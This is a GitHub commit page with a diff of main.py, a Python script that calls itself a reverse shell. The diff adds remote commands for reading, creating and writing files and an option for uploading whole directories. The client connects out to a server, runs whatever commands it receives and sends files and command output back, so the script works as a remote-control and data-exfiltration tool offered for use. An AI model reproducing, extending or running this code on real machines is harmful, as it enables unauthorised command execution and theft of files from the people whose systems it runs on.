Skip to content

Commit cffb0f6

Browse files
author
Nekto
committed
Version1.2
1 parent e58ff3f commit cffb0f6

File tree

1 file changed

+111
-16
lines changed

1 file changed

+111
-16
lines changed

main.py

+111-16
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,10 @@
1+
# TODO Written by Bersenrar you can use this script :3 If you will show some where in media space please use
2+
# my GIT profile in sources list
13
import argparse
24
import socket
35
import subprocess
46
import shlex
7+
import time
58
from sys import exit as exit_the_script
69
import os
710
import threading
@@ -64,6 +67,20 @@ def save_file(self, user_socket):
6467

6568
exit_the_script()
6669

70+
def write_to_file(self, user_socket):
71+
stop_writing_msg = "exit0"
72+
time.sleep(2)
73+
while True:
74+
line_to_write = input(">>> ")
75+
line_to_write = line_to_write + "\n"
76+
if stop_writing_msg in line_to_write:
77+
user_socket.send(stop_writing_msg.encode())
78+
break
79+
if len(line_to_write) < 300:
80+
line_to_write = line_to_write + " " * (300 - len(line_to_write))
81+
user_socket.send(line_to_write.encode())
82+
return
83+
6784
def cmd_prompt(self, user_socket):
6885
# DECODING_CONST = user_socket.recv(300).decode().strip()
6986
while True:
@@ -76,6 +93,9 @@ def cmd_prompt(self, user_socket):
7693
user_socket.send(cmd.encode("utf-8"))
7794
client_response = b""
7895

96+
if "wtf" in cmd:
97+
self.write_to_file(user_socket)
98+
7999
while True:
80100
part_of_msg = user_socket.recv(300)
81101
if part_of_msg.decode(DECODING_CONST).strip() == "stop":
@@ -135,6 +155,43 @@ def send_file(self):
135155
self.client_reverse.send(msg_to_send)
136156
exit_the_script()
137157

158+
def write_in_file(self, name_for_file):
159+
with open(name_for_file, "rb") as file_to_check:
160+
data = file_to_check.read().strip()
161+
file_to_check.close()
162+
163+
if not data:
164+
flag = "wt"
165+
else:
166+
flag = "at"
167+
168+
with open(name_for_file, flag) as file_to_write:
169+
while True:
170+
string_to_write = self.client_reverse.recv(300).decode().rstrip()
171+
if string_to_write == "exit0":
172+
break
173+
file_to_write.write(string_to_write + "\n")
174+
file_to_write.close()
175+
176+
return b"0"
177+
178+
def read_file(self, buffer):
179+
try:
180+
path = shlex.split(buffer)[1]
181+
with open(path, "rb") as file:
182+
result = file.read()
183+
except Exception as err:
184+
result = b"1"
185+
print(f"Something went wrong {err}")
186+
return result
187+
188+
def create_file(self, buffer):
189+
name_for_file = buffer[:]
190+
with open(name_for_file, "wb") as ___:
191+
___.close()
192+
result = b"0"
193+
return result
194+
138195
def cmd_prompt_client(self):
139196

140197
while True:
@@ -154,24 +211,29 @@ def cmd_prompt_client(self):
154211
print(buffer)
155212

156213
if "cd" in buffer:
214+
result_flag = False
157215
try:
158216
# Sometimes can return 1 code means error but don't pay attention to this
159217
# Because directory change anyway if there enough rights to do this action
160218
path = shlex.split(buffer)[1]
161219
os.chdir(path)
162-
result = b"0"
220+
result_flag = False
163221
except Exception as error:
164-
result = b"1"
222+
result_flag = True
165223
print(f"Something went wrong {error}")
224+
result = f"{int(result_flag)}".encode()
225+
226+
elif "mkf" in buffer:
227+
name_for_f = shlex.split(buffer)[1]
228+
result = self.create_file(name_for_f)
229+
230+
elif "read" in buffer:
231+
result = self.read_file(buffer)
232+
233+
elif "wtf" in buffer:
234+
name = shlex.split(buffer)
235+
result = self.write_in_file(name[1])
166236

167-
if "read" in buffer:
168-
try:
169-
path = shlex.split(buffer)[1]
170-
with open(path, "rb") as file:
171-
result = file.read()
172-
except Exception as err:
173-
result = b"1"
174-
print(f"Something went wrong {err}")
175237
else:
176238
result = execute(buffer)
177239

@@ -208,16 +270,35 @@ def run(self):
208270
# If necessary to kill the process
209271
print(f'[PID] {os.getpid()}\nUse taskkill /f -pid PID on windows\nkill PID on Linux if something went wrong')
210272
parser = argparse.ArgumentParser(description='''There is a reverse shell script which allows you to send for example files \
211-
or open a command prompt on from client side
273+
or open a command prompt on client side if you want read file threw shell use read [file_name], if you want create \
274+
file use mkf command with name of file mkf some_file.txt if you want start writing in file use wtf command
212275
''')
213276

214-
parser.add_argument("-t", "--target", action="store", default="localhost", type=str)
215-
parser.add_argument("-p", "--port", action="store", default=5555, type=int)
216-
parser.add_argument("-s", "--server", action="store_true")
277+
parser.add_argument("-t", "--target", action="store", default="localhost", type=str, help="Use this option to"
278+
" specify"
279+
" ip address(IPV4)")
280+
parser.add_argument("-p", "--port", action="store", default=5555, type=int, help="Use this option to specify"
281+
" the port "
282+
"on which server/client would run")
283+
parser.add_argument("-s", "--server", action="store_true", help="Use this option if you want to"
284+
" run script as server")
217285

286+
# Params if you want upload/download file/directory(directory with every file in there)
218287
parser.add_argument("-up", "--upload", action="store_true", default=False)
219-
parser.add_argument("-abp", "--absolute_path", action="store")
220-
parser.add_argument("-nf", "--name_for_file", action="store")
288+
parser.add_argument("-abp", "--absolute_path", action="store", help="Use this option to specify path to file or"
289+
" directory if using updr function")
290+
parser.add_argument("-nf", "--name_for_file", action="store", help="Use this option to specify the name for file"
291+
" which would download")
292+
parser.add_argument("-updr", "--upload_directory", action="store_true", default=False,
293+
help="Use this option if you want to"
294+
" upload a directory for client side"
295+
"(which would send a files you also need"
296+
" a path"
297+
"for server which would receive"
298+
" files you also need use this option"
299+
" also you need to"
300+
" use -nf option to specify the new"
301+
" directory name)")
221302

222303
args = parser.parse_args()
223304

@@ -286,5 +367,19 @@ def run(self):
286367
# This is our end
287368

288369

370+
# Donnez-moi une suite au Ritz,
371+
# Je n'en veux pas
372+
# Des bijoux de chez Chanel,
373+
# Je n'en veux pas
374+
# Donnez moi une limousine,
375+
# J'en ferais quoi
376+
# Papalapapapa
377+
# Offrez moi du personnel,
378+
# J'en ferais quoi
379+
# Un manoir à Neuchâtel,
380+
# Ce n'est pas pour moi
381+
# Offrez moi la tour Eiffel,
382+
# J'en ferais quoi
383+
289384

290385

0 commit comments

Comments
 (0)